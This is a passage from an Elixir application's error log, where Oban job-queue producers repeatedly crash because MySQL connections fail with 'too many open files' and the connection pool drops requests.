    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:15:03.238041Z], limit: 10, uuid: "119dfa41-6932-46cf-8600-c17641832725", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:03.238047Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.244042>, refresh_timer: #Reference<0.2525715032.1077411843.244029>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:17.463000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:17.772000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:19.211000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:15:09.240571Z], limit: 50, uuid: "08e76412-5210-4234-b4d7-9b3b6067f7e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:09.240576Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.590>, refresh_timer: #Reference<0.2525715032.1068498948.589>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:15:09.242895Z], limit: 5, uuid: "684c4380-60c0-4374-a123-04964e861e31", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:09.242900Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111764>, refresh_timer: #Reference<0.2525715032.1121189889.111752>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:15:09.241275Z], limit: 3, uuid: "efc3fea5-bd1b-40e1-95b6-f530c5f39acf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:09.241283Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111765>, refresh_timer: #Reference<0.2525715032.1121189889.111738>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:15:09.240312Z], limit: 20, uuid: "ad034f12-d7e2-41e8-98d3-f8555f457518", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:09.240319Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111717>, refresh_timer: #Reference<0.2525715032.1068498948.578>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:15:09.240647Z], limit: 5, uuid: "e260d696-151d-4415-93da-496d50e360bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:09.240717Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111766>, refresh_timer: #Reference<0.2525715032.1068498948.592>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:21.620000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:23.691000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:25.027000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:15:15.238412Z], limit: 10, uuid: "342903f2-95fd-4043-996b-5ed37fdfd6a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:15.238419Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.244264>, refresh_timer: #Reference<0.2525715032.1077411843.244263>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:28.197000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:28.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:28.909000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:15:21.247581Z], limit: 20, uuid: "4529bdee-2f48-4437-b72d-d559440407a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:21.247588Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.12584>, refresh_timer: #Reference<0.2525715032.1099431938.12579>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
